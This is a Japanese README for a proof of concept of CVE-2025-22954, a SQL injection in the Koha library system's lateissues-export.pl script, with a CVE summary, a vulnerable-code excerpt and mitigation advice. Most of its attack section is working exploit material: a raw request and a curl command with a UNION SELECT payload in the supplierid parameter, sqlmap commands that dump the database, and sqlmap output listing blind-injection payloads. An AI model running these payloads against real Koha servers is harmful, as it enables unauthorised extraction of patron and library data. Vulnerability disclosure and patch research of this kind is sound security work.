
Koha CVE-2025-22954: lateissues-export.pl における SQLインジェクション
このリポジトリは、CVE-2025-22954 の概念実証(PoC)を含みます。これは、バージョン 24.11.02 より前の Koha における重大度(CVSS 10.0)の SQL インジェクション脆弱性です。この脆弱性は、/serials/lateissues-export.pl スクリプトによって呼び出される C4/Serials.pm の GetLateOrMissingIssues 関数に存在します。この脆弱性は、supplierid または serialid パラメータを介して悪用される可能性があります。
| CVE ID | CVE-2025-22954 |
|---|---|
| CVSS v3 | 10.0(重大) |
| EPSS スコア | 0.03%(上位 5.26%) |
| 公開日 | 2025年3月12日 |
| 修正バージョン | Koha 24.11.02 |
| バグ参照 | Koha Bug #38829 |
| リリースノート | Koha 24.11.02 Release |
この脆弱性は、lateissues-export.pl スクリプトの supplierid および serialid パラメータにおけるユーザー入力の安全でない処理に起因し、C4/Serials.pm の GetLateOrMissingIssues 関数に渡されます。この関数は、SQL クエリで使用する前にこれらの入力を適切にサニタイズまたはパラメータ化しないため、SQL インジェクション攻撃が可能になります。
脆弱なスクリプト(lateissues-export.pl)には、次のコードが含まれています:
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');
# ...
for my $serialid ( @serialids ) {
my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
# ...
# update claim date to let one know they have looked at this missing item
updateClaim($serialid);
}
C4/Serials.pm の GetLateOrMissingIssues 関数は、$supplierid および $serialid パラメータが適切なパラメータ化なしに SQL ステートメントに直接連結される、脆弱な SQL クエリ構築を含んでいる可能性があります。
この概念実証は、シリアルモジュールにアクセスできる認証済みユーザーが、この脆弱性を悪用して Koha データベースから機密データを抽出したり、基盤となるデータベースシステムへの不正アクセスを取得したりする方法を示しています。
lateissues-export.pl スクリプトへのアクセス次の生の HTTP リクエストを使用して、この脆弱性を悪用できます:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1"
SQLMap を使用して、この脆弱性の悪用を自動化できます。まず、有効な認証 Cookie を使用して脆弱なエンドポイントへのリクエストをキャプチャし、次に SQLMap を使用してインジェクションポイントを悪用します。
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3
request.txt ファイルの例:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
SQLMap を使用して、この脆弱性を直接悪用することもできます:
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
-p supplierid \
--dbms=mysql \
--dump
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:
この脆弱性により、認証済みの攻撃者は以下を実行できます:
この脆弱性に対する修正を含む Koha バージョン 24.11.02 以降に更新してください。
直ちに更新できない場合は、次の一時的な緩和策の実施を検討してください:
/serials/lateissues-export.pl スクリプトへのアクセスを信頼できる IP アドレスのみに制限するC4/Serials.pm ファイルを変更して、GetLateOrMissingIssues 関数内の SQL クエリを適切にパラメータ化するこの概念実証は、教育および防御目的でのみ提供されています。システムの脆弱性をテストする前に、必ず適切な許可を取得してください。
著者は、この情報の不正使用について一切の責任を負いません。この概念実証は、所有しているシステム、またはテストする明示的な許可を得ているシステムでのみ使用してください。